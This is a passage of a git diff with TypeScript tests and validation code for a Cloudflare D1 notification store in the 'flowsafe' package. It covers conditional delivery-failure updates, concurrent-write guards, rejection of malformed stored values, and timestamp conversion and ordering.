+    Number.MAX_SAFE_INTEGER,
+  ])('terminalizes an existing count of %s without replacing the failed receipt', async (deliveryAttempts) => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    await createDueNotification(s);
+    const original = await s.updateNotification({
+      threadId: 'thread',
+      id: 'receipt',
+      deliveryAttempts,
+      lastDeliveryAttemptAt: new Date(ATTEMPT_TIME),
+      lastDeliveryError: 'original refusal',
+    });
+    await db
+      .prepare(
+        `UPDATE mastra_notifications
+           SET lastDeliveryAttemptAt = '2026-09-09T16:00:00+04:00'`,
+      )
+      .run();
+    const before = await rawNotification(db);
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: { type: 'exhausted', updatedAt: WRITE_TIME },
+      }),
+    ).resolves.toMatchObject({ applied: true });
+    expect(await rawNotification(db)).toEqual({
+      ...before,
+      status: 'discarded',
+      deliveryReason: 'delivery-attempts-exhausted',
+      updatedAt: WRITE_TIME,
+      discardedAt: WRITE_TIME,
+      deliverAt: null,
+      summaryAt: null,
+    });
+  });
+
+  it('preserves absent prior error and attempt time during terminalization', async () => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    await createDueNotification(s);
+    const original = await s.updateNotification({
+      threadId: 'thread',
+      id: 'receipt',
+      deliveryAttempts: 10,
+    });
+    await s.updateNotificationDeliveryIfUnchanged({
+      expected: captureNotificationDeliveryObservation(original),
+      failure: { type: 'exhausted', updatedAt: WRITE_TIME },
+    });
+    expect(await rawNotification(db)).toMatchObject({
+      deliveryAttempts: 10,
+      lastDeliveryAttemptAt: null,
+      lastDeliveryError: null,
+    });
+  });
+
+  it.each([
+    ['status', 'delivered'],
+    ['deliveredSignalId', 'existing-signal'],
+  ] as const)('refuses an observed %s receipt', async (field, value) => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    await createDueNotification(s);
+    const original = await s.updateNotification({
+      threadId: 'thread',
+      id: 'receipt',
+      [field]: value,
+    });
+    const before = await rawNotification(db);
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: retryFailure(),
+      }),
+    ).resolves.toEqual({ applied: false });
+    expect(await rawNotification(db)).toEqual(before);
+  });
+
+  it('returns no-write after a notification is removed', async () => {
+    const s = store();
+    const original = await createDueNotification(s);
+    await s.dangerouslyClearAll();
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: retryFailure(),
+      }),
+    ).resolves.toEqual({ applied: false });
+  });
+
+  it.each([
+    ['thread_id', 'another-thread'],
+    ['id', 'another-receipt'],
+    ['source', 'another-source'],
+    ['kind', 'another-kind'],
+    ['priority', 'urgent'],
+    ['status', 'discarded'],
+    ['summary', 'another-summary'],
+    ['payload', '{"changed":true}'],
+    ['resourceId', 'another-resource'],
+    ['agentId', 'another-agent'],
+    ['sourceId', 'another-source-id'],
+    ['dedupeKey', 'another-dedupe-key'],
+    ['coalesceKey', 'another-coalesce-key'],
+    ['coalescedCount', 2],
+    ['attributes', '{"changed":true}'],
+    ['createdAt', WRITE_TIME],
+    ['updatedAt', WRITE_TIME],
+    ['deliverAt', null],
+    ['summaryAt', null],
+    ['deliveryReason', 'another-reason'],
+    ['deliveryAttempts', 1],
+    ['lastDeliveryAttemptAt', ATTEMPT_TIME],
+    ['lastDeliveryError', 'another-error'],
+    ['deliveredSignalId', 'another-delivery'],
+    ['summarySignalId', 'another-summary-signal'],
+    ['deliveredAt', WRITE_TIME],
+    ['seenAt', WRITE_TIME],
+    ['dismissedAt', WRITE_TIME],
+    ['archivedAt', WRITE_TIME],
+    ['discardedAt', WRITE_TIME],
+    ['metadata', '{"changed":true}'],
+  ])('preserves a concurrent %s change at the final SQL write', async (column, value) => {
+    const db = database();
+    const barrier = deliveryWriteBarrier(db);
+    const left = new D1NotificationsStorage(barrier.db);
+    const right = new D1NotificationsStorage(db);
+    const original = await createDueNotification(right);
+    const pending = left.updateNotificationDeliveryIfUnchanged({
+      expected: captureNotificationDeliveryObservation(original),
+      failure: retryFailure(),
+    });
+    await barrier.writing;
+    await db
+      .prepare(`UPDATE mastra_notifications SET ${column} = ?`)
+      .bind(value)
+      .run();
+    const newer = await rawNotification(db);
+    barrier.release();
+    await expect(pending).resolves.toEqual({ applied: false });
+    expect(await rawNotification(db)).toEqual(newer);
+  });
+
+  it.each([
+    'summary',
+    'delivery',
+    'denial',
+    'failure',
+    'coalescing',
+    'replacement',
+  ])('preserves a newer %s written by another storage adapter', async (outcome) => {
+    const db = database();
+    const barrier = deliveryWriteBarrier(db);
+    const left = new D1NotificationsStorage(barrier.db);
+    const right = new D1NotificationsStorage(db);
+    const original = await createDueNotification(right, {
+      coalesceKey: 'group',
+    });
+    const pending = left.updateNotificationDeliveryIfUnchanged({
+      expected: captureNotificationDeliveryObservation(original),
+      failure: retryFailure(),
+    });
+    await barrier.writing;
+    if (outcome === 'coalescing') {
+      await createDueNotification(right, {
+        coalesceKey: 'group',
+        summary: 'merged',
+      });
+    } else if (outcome === 'replacement') {
+      await createDueNotification(right, {
+        source: 'replacement',
+        payload: { new: true },
+      });
+    } else if (outcome === 'failure') {
+      await right.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: { ...retryFailure(), lastDeliveryError: 'original refusal' },
+      });
+    } else {
+      await right.updateNotification({
+        threadId: 'thread',
+        id: 'receipt',
+        ...(outcome === 'summary'
+          ? { summaryAt: null, summarySignalId: 'summary-receipt' }
+          : outcome === 'delivery'
+            ? { status: 'delivered', deliveredSignalId: 'delivery-receipt' }
+            : { status: 'discarded', deliveryReason: 'content-policy-denied' }),
+      });
+    }
+    await db
+      .prepare('UPDATE mastra_notifications SET updatedAt = ?')
+      .bind(original.updatedAt.toISOString())
+      .run();
+    const newer = await rawNotification(db);
+    barrier.release();
+    await expect(pending).resolves.toEqual({ applied: false });
+    expect(await rawNotification(db)).toEqual(newer);
+  });
+
+  it('does not manufacture an identity for an identical same-ID replacement', async () => {
+    const db = database();
+    const barrier = deliveryWriteBarrier(db);
+    const left = new D1NotificationsStorage(barrier.db);
+    const right = new D1NotificationsStorage(db);
+    const original = await createDueNotification(right);
+    const pending = left.updateNotificationDeliveryIfUnchanged({
+      expected: captureNotificationDeliveryObservation(original),
+      failure: retryFailure(),
+    });
+    await barrier.writing;
+    await createDueNotification(right);
+    barrier.release();
+    await expect(pending).resolves.toMatchObject({ applied: true });
+  });
+
+  it('captures input scalars before its first await', async () => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    const original = await createDueNotification(s);
+    const expected = { ...captureNotificationDeliveryObservation(original) };
+    const failure = retryFailure();
+    const pending = s.updateNotificationDeliveryIfUnchanged({
+      expected,
+      failure,
+    });
+    expected.summary = 'mutated';
+    expected.deliveryAttempts = 200;
+    Object.assign(failure, {
+      deliveryAttempts: 201,
+      lastDeliveryError: 'mutated',
+    });
+    await expect(pending).resolves.toMatchObject({
+      applied: true,
+      record: {
+        summary: 'summary',
+        deliveryAttempts: 1,
+        lastDeliveryError: 'target refused',
+      },
+    });
+  });
+
+  it.each([
+    ['payload', 'not-json'],
+    ['payload', '{"overflow":1e999}'],
+    ['attributes', '{'],
+    ['metadata', '{'],
+    ['deliverAt', 'not-a-date'],
+    ['summaryAt', ''],
+    ['createdAt', ''],
+    ['updatedAt', 'not-a-date'],
+    ['lastDeliveryAttemptAt', 'not-a-date'],
+    ['deliveryAttempts', -1],
+    ['deliveryAttempts', 0.5],
+    ['deliveryAttempts', 'broken'],
+    ['coalescedCount', 'broken'],
+  ])('rejects unreadable raw %s values instead of treating them as absent', async (column, value) => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    const original = await createDueNotification(s);
+    await db
+      .prepare(`UPDATE mastra_notifications SET ${column} = ?`)
+      .bind(value)
+      .run();
+    const before = await rawNotification(db);
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: retryFailure(),
+      }),
+    ).rejects.toThrow();
+    expect(await rawNotification(db)).toEqual(before);
+  });
+
+  it('keeps an unsafe SQLite integer unchanged when the driver cannot read it', async () => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    const original = await createDueNotification(s);
+    await db
+      .prepare('UPDATE mastra_notifications SET deliveryAttempts = ?')
+      .bind(Number.MAX_SAFE_INTEGER + 1)
+      .run();
+    const readReceipt = () =>
+      db
+        .prepare(
+          `SELECT CAST(deliveryAttempts AS TEXT) AS attempts,
+       updatedAt, lastDeliveryError, lastDeliveryAttemptAt
+       FROM mastra_notifications`,
+        )
+        .first();
+    const before = await readReceipt();
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: retryFailure(),
+      }),
+    ).rejects.toThrow();
+    expect(await readReceipt()).toEqual(before);
+  });
+
+  it('uses binary final guards when the stored content collation ignores case', async () => {
+    const db = database();
+    await createLegacyNotificationsTable(db, 'NOCASE');
+    const barrier = deliveryWriteBarrier(db);
+    const left = new D1NotificationsStorage(barrier.db);
+    const right = new D1NotificationsStorage(db);
+    const original = await createDueNotification(right);
+    const pending = left.updateNotificationDeliveryIfUnchanged({
+      expected: captureNotificationDeliveryObservation(original),
+      failure: retryFailure(),
+    });
+    await barrier.writing;
+    await db
+      .prepare("UPDATE mastra_notifications SET summary = 'SUMMARY'")
+      .run();
+    const newer = await rawNotification(db);
+    barrier.release();
+    await expect(pending).resolves.toEqual({ applied: false });
+    expect(await rawNotification(db)).toEqual(newer);
+  });
+
+  it.each([
+    null,
+    -1,
+    0.5,
+    NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER + 1,
+    '0',
+  ])('rejects malformed captured deliveryAttempts %s without database work', async (value) => {
+    const s = store();
+    const original = await createDueNotification(s);
+    const expected = {
+      ...captureNotificationDeliveryObservation(original),
+      deliveryAttempts: value,
+    } as NotificationDeliveryObservation;
+    await expect(
+      new D1NotificationsStorage({
+        prepare() {
+          throw new Error('database must not be reached');
+        },
+      }).updateNotificationDeliveryIfUnchanged({
+        expected,
+        failure: retryFailure(),
+      }),
+    ).rejects.toThrow('nonnegative safe integer');
+  });
+
+  it.each([
+    { type: 'unknown', updatedAt: WRITE_TIME },
+    { ...retryFailure(), summary: 'unauthorized content edit' },
+    { ...retryFailure(), deliveryAttempts: 0 },
+    { ...retryFailure(), deliveryAttempts: 2 },
+    { ...retryFailure(), lastDeliveryAttemptAt: 'not-a-date' },
+    { ...retryFailure(), updatedAt: '2026-09-09T13:00:00Z' },
+    { ...retryFailure(), lastDeliveryError: null },
+    { ...retryFailure(), deliverAt: undefined },
+    { ...retryFailure(), deliverAt: ATTEMPT_TIME },
+    { ...retryFailure(), summaryAt: RETRY_TIME },
+    { type: 'exhausted', updatedAt: WRITE_TIME, deliveryAttempts: 1 },
+  ])('rejects malformed or broad failure patches %#', async (failure) => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    const original = await createDueNotification(s);
+    const before = await rawNotification(db);
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: failure as NotificationDeliveryFailure,
+      }),
+    ).rejects.toThrow();
+    expect(await rawNotification(db)).toEqual(before);
+  });
+
+  it('cannot overflow a maximum safe counter while recording a new failure', async () => {
+    const s = store();
+    await createDueNotification(s);
+    const original = await s.updateNotification({
+      threadId: 'thread',
+      id: 'receipt',
+      deliveryAttempts: Number.MAX_SAFE_INTEGER,
+    });
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: {
+          ...retryFailure(),
+          deliveryAttempts: Number.MAX_SAFE_INTEGER,
+        },
+      }),
+    ).rejects.toThrow('increment once');
+  });
+
+  it('distinguishes absent JSON from JSON null and preserves serializer conversions', async () => {
+    const s = store();
+    const original = await createDueNotification(s, {
+      payload: {
+        date: new Date(ATTEMPT_TIME),
+        omitted: undefined,
+        infinite: Infinity,
+      },
+      attributes: { omitted: undefined },
+      metadata: { values: [undefined, null] },
+    });
+    const expected = captureNotificationDeliveryObservation(original);
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected,
+        failure: retryFailure(),
+      }),
+    ).resolves.toMatchObject({
+      applied: true,
+      record: {
+        payload: { date: ATTEMPT_TIME, infinite: null },
+        attributes: {},
+        metadata: { values: [null, null] },
+      },
+    });
+    const second = await createDueNotification(s, { id: 'second' });
+    await s.updateNotification({
+      threadId: 'thread',
+      id: 'second',
+      payload: null,
+    });
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(second),
+        failure: retryFailure(),
+      }),
+    ).resolves.toEqual({ applied: false });
+  });
+
+  it('accepts absent public counters and optional null bindings/dates', async () => {
+    const s = store();
+    const original = await createDueNotification(s, {
+      agentId: undefined,
+      summaryAt: undefined,
+    });
+    const compatible = {
+      ...original,
+      deliveryAttempts: undefined,
+      coalescedCount: undefined,
+      agentId: null,
+      summaryAt: null,
+    } as unknown as NotificationRecord;
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(compatible),
+        failure: retryFailure(),
+      }),
+    ).resolves.toMatchObject({
+      applied: true,
+      record: { deliveryAttempts: 1 },
+    });
+  });
+
+  it('compares numeric values without inventing a coalescing generation', async () => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    const original = await createDueNotification(s);
+    await db
+      .prepare('UPDATE mastra_notifications SET coalescedCount = -2.5')
+      .run();
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: {
+          ...captureNotificationDeliveryObservation(original),
+          deliveryAttempts: -0,
+          coalescedCount: -2.5,
+        },
+        failure: retryFailure(),
+      }),
+    ).resolves.toMatchObject({
+      applied: true,
+      record: { deliveryAttempts: 1, coalescedCount: -2.5 },
+    });
+  });
+
+  it.each([
+    'not-json',
+    '{"overflow":1e999}',
+  ])('rejects unreadable JSON in a supplied observation: %s', async (payload) => {
+    const s = store();
+    const original = await createDueNotification(s);
+    const expected = {
+      ...captureNotificationDeliveryObservation(original),
+      payload,
+    };
+    await expect(
+      new D1NotificationsStorage({
+        prepare() {
+          throw new Error('database must not be reached');
+        },
+      }).updateNotificationDeliveryIfUnchanged({
+        expected,
+        failure: retryFailure(),
+      }),
+    ).rejects.toMatchObject({
+      name: 'TypeError',
+      message: 'Notification delivery JSON is malformed',
+    });
+  });
+
+  it.each([
+    { deliveryAttempts: null },
+    { deliveryAttempts: Infinity },
+    { payload: {} },
+    { deliverAt: 1 },
+    { agentId: 1 },
+  ])('rejects unreadable driver row values before forgiving conversion %#', async (patch) => {
+    const db = database();
+    const s = new D1NotificationsStorage(
+      interceptFirst(db, async (query, read) => {
+        const row = await read();
+        return query.startsWith('SELECT *') &&
+          query.includes('thread_id COLLATE BINARY')
+          ? { ...(row as object), ...patch }
+          : row;
+      }),
+    );
+    const original = await createDueNotification(s);
+    const before = await rawNotification(db);
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: retryFailure(),
+      }),
+    ).rejects.toThrow();
+    expect(await rawNotification(db)).toEqual(before);
+  });
+
+  it('bookkeeps path-unsafe physical bindings without routing them', async () => {
+    const s = store();
+    const original = await createDueNotification(s, {
+      threadId: '../thread',
+      resourceId: '../resource',
+      agentId: '',
+    });
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: retryFailure(),
+      }),
+    ).resolves.toMatchObject({
+      applied: true,
+      record: { threadId: '../thread', deliveryAttempts: 1 },
+    });
+  });
+
+  it('isolates the configured table prefix', async () => {
+    const db = database();
+    const left = new D1NotificationsStorage(db, 'left_');
+    const right = new D1NotificationsStorage(db, 'right_');
+    const original = await createDueNotification(left);
+    const neighbor = await createDueNotification(right);
+    await left.updateNotificationDeliveryIfUnchanged({
+      expected: captureNotificationDeliveryObservation(original),
+      failure: retryFailure(),
+    });
+    expect(
+      await right.getNotification({ threadId: 'thread', id: 'receipt' }),
+    ).toEqual(neighbor);
+  });
+
+  it.each([
+    'before',
+    'after',
+  ] as const)('surfaces response loss %s the write without replay', async (phase) => {
+    const db = database();
+    let writes = 0;
+    const wrapped = interceptFirst(db, async (query, read) => {
+      if (!isDeliveryUpdate(query)) return read();
+      writes += 1;
+      if (phase === 'after') await read();
+      throw new Error('response lost');
+    });
+    const s = new D1NotificationsStorage(wrapped);
+    const original = await createDueNotification(s);
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: retryFailure(),
+      }),
+    ).rejects.toThrow('response lost');
+    expect(writes).toBe(1);
+    expect((await rawNotification(db)).deliveryAttempts).toBe(
+      phase === 'after' ? 1 : 0,
+    );
+  });
+
+  it.each([
+    undefined,
+    false,
+    [],
+    {},
+    { deliveryAttempts: 1 },
+  ])('rejects a malformed database RETURNING row %#', async (returned) => {
+    const db = database();
+    const s = new D1NotificationsStorage(
+      interceptFirst(db, async (query, read) => {
+        const row = await read();
+        return isDeliveryUpdate(query) ? returned : row;
+      }),
+    );
+    const original = await createDueNotification(s);
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: retryFailure(),
+      }),
+    ).rejects.toThrow();
+  });
+
+  it.each([
+    { id: 'wrong' },
+    { updatedAt: ATTEMPT_TIME },
+    { deliveryAttempts: 2 },
+    { lastDeliveryError: 'different' },
+    { summarySignalId: 'different' },
+    { payload: 'null' },
+  ])('rejects a database RETURNING row with a different receipt %#', async (patch) => {
+    const db = database();
+    const s = new D1NotificationsStorage(
+      interceptFirst(db, async (query, read) => {
+        const row = await read();
+        return isDeliveryUpdate(query) ? { ...(row as object), ...patch } : row;
+      }),
+    );
+    const original = await createDueNotification(s);
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: retryFailure(),
+      }),
+    ).rejects.toThrow('different receipt');
+  });
+});
+
+describe('chronological notification timestamps', () => {
+  const now = new Date('2026-01-01T00:00:00.000Z');
+
+  it.each([
+    'deliverAt',
+    'summaryAt',
+  ] as const)('keeps a future extended-year %s out of a limited due window', async (cursor) => {
+    const s = store();
+    await s.createNotification({
+      id: 'future',
+      threadId: 'acme_t1',
+      source: 'test',
+      kind: 'ready',
+      summary: 'future',
+      [cursor]: new Date('+010000-01-01T00:00:00.000Z'),
+    });
+    await s.createNotification({
+      id: 'due',
+      threadId: 'acme_t1',
+      source: 'test',
+      kind: 'ready',
+      summary: 'due',
+      [cursor]: new Date(now.getTime() - 1),
+    });
+    expect(
+      (await s.listDueNotifications({ now, limit: 1 })).map((row) => row.id),
+    ).toEqual(['due']);
+  });
+
+  it('orders negative years by their instants before applying the limit', async () => {
+    const s = store();
+    for (const [id, timestamp] of [
+      ['newer', '-000001-01-01T00:00:00.000Z'],
+      ['older', '-000010-01-01T00:00:00.000Z'],
+    ] as const) {
+      await s.createNotification({
+        id,
+        threadId: 'acme_t1',
+        source: 'test',
+        kind: 'ready',
+        summary: id,
+        deliverAt: new Date(timestamp),
+      });
+    }
+    expect(
+      (await s.listDueNotifications({ now, limit: 1 })).map((row) => row.id),
+    ).toEqual(['older']);
+  });
+
+  it.each([
+    { timestamp: '2026-01-01T01:00:00+02:00', expected: 'offset' },
+    { timestamp: '2025-12-31T23:00:00-02:00', expected: 'due' },
+  ])('uses the instant of raw offset $timestamp in a limited due window', async ({
+    timestamp,
+    expected,
+  }) => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    const record = await s.createNotification({
+      id: 'offset',
+      threadId: 'acme_t1',
+      source: 'test',
+      kind: 'ready',
+      summary: 'offset',
+      summaryAt: new Date(timestamp),
+    });
+    await db
+      .prepare('UPDATE mastra_notifications SET summaryAt = ? WHERE id = ?')
+      .bind(timestamp, record.id)
+      .run();
+    await s.createNotification({
+      id: 'due',
+      threadId: 'acme_t1',
+      source: 'test',
+      kind: 'ready',
+      summary: 'due',
+      summaryAt: new Date(now.getTime() - 1),
+    });
+    expect(
+      (await s.listDueNotifications({ now, limit: 1 })).map((row) => row.id),
+    ).toEqual([expected]);
+  });
+
+  it('lists updated timestamps chronologically across extended years', async () => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    for (const [id, updatedAt] of [
+      ['ordinary', now.toISOString()],
+      ['future', '+010000-01-01T00:00:00.000Z'],
+    ] as const) {
+      const record = await s.createNotification({
+        id,
+        threadId: 'acme_t1',
+        source: 'test',
+        kind: 'ready',
+        summary: id,
+      });
+      await db
+        .prepare('UPDATE mastra_notifications SET updatedAt = ? WHERE id = ?')
+        .bind(updatedAt, record.id)
+        .run();
+    }
+    expect(
+      (await s.listNotifications({ threadId: 'acme_t1', limit: 1 })).map(
+        (row) => row.id,
+      ),
+    ).toEqual(['future']);
+  });
+});
+
+describe('notification timestamp conversion', () => {
+  const epochs = [
+    -8_640_000_000_000_000, -8_639_999_999_999_999, -62_167_219_200_001,
+    -62_167_219_200_000, -1, 0, 1, 253_402_300_799_999, 253_402_300_800_000,
+    253_402_300_800_001, 8_639_999_999_999_999, 8_640_000_000_000_000,
+  ];
+  for (let index = 1; index <= 64; index += 1) {
+    epochs.push(Math.trunc((index / 65) * 8_640_000_000_000_000));
+    epochs.push(-Math.trunc((index / 65) * 8_640_000_000_000_000));
+  }
+
+  const timestamps = [
+    ...epochs.map((epoch) => new Date(epoch).toISOString()),
+    '0000',
+    '0000-02',
+    '2026-09-09',
+    '-000001',
+    '-000001-02',
+    '+010000',
+    '+010000-02',
+    '1900-02-29T12:00:00.000Z',
+    '2000-02-29T12:00:00.000Z',
+    '2100-02-29T12:00:00.000Z',
+    '2400-02-29T12:00:00.000Z',
+    '9999-12-31T24:00:00.000Z',
+    '-000001-12-31T23:59:59.999-23:59',
+    '0000-01-01T00:00:00.001+23:59',
+    '+010000-01-01T00:00:00.1239+2359',
+    '+010000-12-31T23:59:59.9999-2359',
+    '+275760-09-13T01:00:00.000+01:00',
+    '-271821-04-19T23:00:00.000-0100',
+    '2026-09-09T12:34Z',
+    '2026-09-09T12:34:56.1Z',
+    '2026-09-09T12:34:56.12Z',
+    '2026-09-09T12:34:56.1239Z',
+    '2026-09-09T12:34:56.9999Z',
+    '2026-09-09T12:34:56.00000001Z',
+    '2026-09-09t12:34:56.123z',
+  ];
+
+  it.each(timestamps)('matches Date for %s', async (timestamp) => {
+    const db = database();
+    const expected = new Date(timestamp).getTime();
+    expect(Number.isFinite(expected)).toBe(true);
+    expect(notificationTimestampMillis(timestamp)).toBe(expected);
+    expect(notificationTimestampMillis(new Date(timestamp))).toBe(expected);
+    const row = await db
+      .prepare(
+        `SELECT ${notificationTimestampSql('deliverAt')} AS epoch
+         FROM (SELECT ? AS deliverAt)`,
+      )
+      .bind(timestamp)
+      .first<{ epoch: number }>();
+    expect(row?.epoch).toBe(expected);
+  });
+
+  it.each([
+    'now',
+    '1700000000000',
+    'September 9, 2026',
+    '2026-09-09T12:34:56',
+    '2026-09-09 12:34:56Z',
+    '2026-13-01',
+    '2026-01-32',
+    '2026-09-09T24:01:00Z',
+    '2026-09-09T12:60:00Z',
+    '2026-09-09T12:34:60Z',
+    '2026-09-09T12:34:56.Z',
+    '2026-09-09T12:34:56+2400',
+    '2026-09-09T12:34:56+00:60',
+    '-000000-01-01T00:00:00.000Z',
+    '+275760-09-13T00:00:00.001Z',
+    '-271821-04-19T23:59:59.999Z',
+    '2026\n',
+    '2026-09-09T12:34:56.123Z\0',
+    '2026-09-09T12:34:56.123Z\0ignored',
+    '+010000-01-01T00:00:00.123Z\0',
+  ])('leaves %j unavailable as a portable stored instant', async (timestamp) => {
+    expect(() => notificationTimestampMillis(timestamp)).toThrow(TypeError);
+    const db = database();
+    const row = await db
+      .prepare(
+        `SELECT ${notificationTimestampSql('updatedAt')} AS epoch
+         FROM (SELECT ? AS updatedAt)`,
+      )
+      .bind(timestamp)
+      .first<{ epoch: number | null }>();
+    expect(row?.epoch).toBeNull();
+  });
+});
diff --git a/packages/flowsafe/src/signals/notifications-d1.ts b/packages/flowsafe/src/signals/notifications-d1.ts
index 128de926..6eccd141 100644
--- a/packages/flowsafe/src/signals/notifications-d1.ts
+++ b/packages/flowsafe/src/signals/notifications-d1.ts
@@ -24,8 +24,13 @@ import {
   NotificationsStorage,
   type UpdateNotificationInput,
 } from '@mastra/core/notifications';
-import { DUE_NOTIFICATION_SQL } from '../do-runner/notification-predicate.js';
+import {
+  DUE_NOTIFICATION_SQL,
+  notificationTimestampMillis,
+  notificationTimestampSql,
+} from '../do-runner/notification-predicate.js';
 import { validateTablePrefix } from '../do-runner/table-prefix.js';
+import { nonnegativeSafeInteger } from '../numeric-config.js';
 import {
   d1Changes,
   dateOrUndefined,
@@ -35,6 +40,12 @@ import {
   type SignalDatabase,
   type SignalStatement,
 } from './d1-shared.js';
+import type {
+  NotificationDeliveryFailure,
+  NotificationDeliveryObservation,
+  NotificationDeliveryStorage,
+  NotificationDeliveryUpdateResult,
+} from './notification-dispatch.js';
 
 /** The raw row shape `mastra_notifications` stores and `rowToRecord` reads. */
 interface NotificationRow {
@@ -128,6 +139,183 @@ const NOTIFICATION_UPDATE_COLUMNS = NOTIFICATION_COLUMNS.filter(
   (column) => column !== 'id' && column !== 'thread_id',
 );
 
+type NotificationColumn = (typeof NOTIFICATION_COLUMNS)[number];
+
+const NOTIFICATION_DATE_COLUMNS = new Set<NotificationColumn>([
+  'createdAt',
+  'updatedAt',
+  'deliverAt',
+  'summaryAt',
+  'lastDeliveryAttemptAt',
+  'deliveredAt',
+  'seenAt',
+  'dismissedAt',
+  'archivedAt',
+  'discardedAt',
+]);
+
+const NOTIFICATION_REQUIRED_TEXT_COLUMNS = new Set<NotificationColumn>([
+  'id',
+  'thread_id',
+  'source',
+  'kind',
+  'summary',
+]);
+
+function notificationDeliveryDate(value: unknown, canonical: boolean): number {
+  const time =
+    typeof value === 'string' ? notificationTimestampMillis(value) : NaN;
+  if (
+    !Number.isFinite(time) ||
+    (canonical && new Date(time).toISOString() !== value)
+  ) {
+    throw new TypeError('Notification delivery timestamp is malformed');
+  }
+  return time;
+}
+
+function validateNotificationDeliveryValues(
+  values: unknown[],
+  canonicalDates: boolean,
+): void {
+  for (const [index, column] of NOTIFICATION_COLUMNS.entries()) {
+    const value = values[index];
+    if (column === 'deliveryAttempts') {
+      nonnegativeSafeInteger(value as number, 'notification deliveryAttempts');
+    } else if (column === 'coalescedCount') {
+      if (typeof value !== 'number' || !Number.isFinite(value)) {
+        throw new TypeError('Notification coalescedCount is malformed');
+      }
+    } else if (column === 'priority') {
+      if (!['urgent', 'high', 'medium', 'low'].includes(value as string)) {
+        throw new TypeError('Notification priority is malformed');
+      }
+    } else if (column === 'status') {
+      if (
+        ![
+          'pending',
+          'delivered',
+          'seen',
+          'dismissed',
+          'archived',
+          'discarded',
+        ].includes(value as string)
+      ) {
+        throw new TypeError('Notification status is malformed');
+      }
+    } else if (NOTIFICATION_DATE_COLUMNS.has(column)) {
+      if (value !== null || column === 'createdAt' || column === 'updatedAt') {
+        notificationDeliveryDate(value, canonicalDates);
+      }
+    } else if (
+      column === 'payload' ||
+      column === 'attributes' ||
+      column === 'metadata'
+    ) {
+      if (value === null) continue;
+      if (typeof value !== 'string') {
+        throw new TypeError('Notification delivery JSON is malformed');
+      }
+      try {
+        JSON.parse(value, (_key, parsed: unknown) => {
+          if (typeof parsed === 'number' && !Number.isFinite(parsed)) {
+            throw new TypeError();
+          }
+          return parsed;
+        });
+      } catch {
+        throw new TypeError('Notification delivery JSON is malformed');
+      }
+    } else if (
+      typeof value !== 'string' &&
+      (value !== null || NOTIFICATION_REQUIRED_TEXT_COLUMNS.has(column))
+    ) {
+      throw new TypeError(`Notification ${column} is malformed`);
+    }
+  }
+}
+
+function notificationDeliveryRowValues(row: NotificationRow): unknown[] {
+  if (typeof row !== 'object' || row === null || Array.isArray(row)) {
+    throw new TypeError('Notification delivery row is malformed');
+  }
+  const values = NOTIFICATION_COLUMNS.map((column) => row[column]);
+  validateNotificationDeliveryValues(values, false);
+  return values;
+}
+
+function notificationFailureUpdates(
+  expected: NotificationDeliveryObservation,
+  failure: NotificationDeliveryFailure,
+): Partial<Record<NotificationColumn, string | number | null>> {
+  const allowed = new Set<PropertyKey>(['type', 'updatedAt']);
+  const updates: Partial<Record<NotificationColumn, string | number | null>> = {
+    updatedAt: failure.updatedAt,
+  };
+  notificationDeliveryDate(failure.updatedAt, true);
+  if (failure.type !== 'exhausted') {
+    if (failure.type !== 'retry' && failure.type !== 'discard') {
+      throw new TypeError('Notification delivery failure type is malformed');
+    }
+    for (const key of [
+      'deliveryAttempts',
+      'lastDeliveryAttemptAt',
+      'lastDeliveryError',
+    ]) {
+      allowed.add(key);
+    }
+    nonnegativeSafeInteger(
+      failure.deliveryAttempts,
+      'notification deliveryAttempts',
+    );
+    if (
+      expected.deliveryAttempts === Number.MAX_SAFE_INTEGER ||
+      failure.deliveryAttempts !== expected.deliveryAttempts + 1
+    ) {
+      throw new RangeError('Notification delivery failure must increment once');
+    }
+    const attemptedAt = notificationDeliveryDate(
+      failure.lastDeliveryAttemptAt,
+      true,
+    );
+    if (typeof failure.lastDeliveryError !== 'string') {
+      throw new TypeError('Notification lastDeliveryError is malformed');
+    }
+    updates.deliveryAttempts = failure.deliveryAttempts;
+    updates.lastDeliveryAttemptAt = failure.lastDeliveryAttemptAt;
+    updates.lastDeliveryError = failure.lastDeliveryError;
+    if (failure.type === 'retry') {
